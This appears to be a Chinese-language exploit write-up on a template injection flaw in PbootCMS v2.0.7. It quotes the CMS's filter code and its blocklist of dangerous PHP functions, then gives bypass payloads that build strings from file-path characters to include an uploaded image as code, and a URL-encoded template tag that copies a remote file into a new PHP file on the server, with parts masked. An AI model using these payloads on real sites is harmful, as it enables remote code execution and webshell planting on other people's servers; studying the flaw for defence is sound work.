PbootCMS v2.0.7 模板注入¶

<?php
    public function parserIfLabel($content){
        $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/';
        if (preg_match_all($pattern, $content, $matches)) {
            $count = count($matches[0]);
            for ($i = 0; $i < $count; $i ++) {
                $danger = false;

                // 带有函数的条件语句进行安全校验
                if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) {
                    foreach ($matches2[1] as $value) {
                        if (function_exists($value)){
                            $danger = true;
                            break;
                        }
                    }
                }

                // 过滤特殊字符串
                if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) {
                    $danger = true;
                }

                // 如果有危险函数，则不解析该IF
                if ($danger) {
                    continue;
                }

                eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}');
                ...
?>

{pboot:if(1)}OK{/pboot:if}

var_dump(array(__FILE__)[0][-4]); //=.
var_dump(array(__FILE__)[0][-21]); //=/

<?php
    ...
  public function limit($total = null, $morePageStr = false){
        // 起始数据调整
        if (! is_numeric($this->start) || $this->start < 1) {
            $this->start = 1;
        }
        if ($this->start > $total) {
            $this->start = $total + 1;
        }

        // 设置总数
        if ($total) {
            $this->rowTotal = $total - ($this->start - 1);
        }

        // 设置分页大小
        if (! isset($this->pageSize)) {
            $this->pageSize = get('pagesize') ?: Config::get('pagesize') ?: 15;
        }

        // 分页数字条数量
        $this->num = Config::get('pagenum') ?: 5;

        // 计算页数
        $this->pageCount = @ceil($this->rowTotal / $this->pageSize);

        // 获取当前页面
        $this->page = $this->page();

        // 定义相关常量，用于方便模板引擎解析序号等计算和调用
        define('ROWTOTAL', $this->rowTotal);
        define('PAGECOUNT', $this->pageCount);
        define('PAGE', $this->page);
        define('PAGESIZE', $this->pageSize);

        // 注入分页模板变量
        $this->assign($morePageStr);

        // 返回限制语句
        return ($this->page - 1) * $this->pageSize + ($this->start - 1) . ",$this->pageSize";
    } 
  // 当前页码容错处理
    private function page(){
        $page = get('page', 'int') ?: $this->page;
        if (is_numeric($page) && $page > 1) {
            if ($page > $this->pageCount && $this->pageCount) {
                return $this->pageCount;
            } else {
                return $page;
            }
        } else {
            return 1;
        }
    }
  ...
?>

include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].(马赛克).png)

{pboot%3aif(copy%01(chr%01(104).chr%01(116).chr%01(116).(马赛克),chr%01(49).chr%01(46).chr%01(112).chr%01(104).chr%01(112)))}asdasdasd{/pboot%3aif}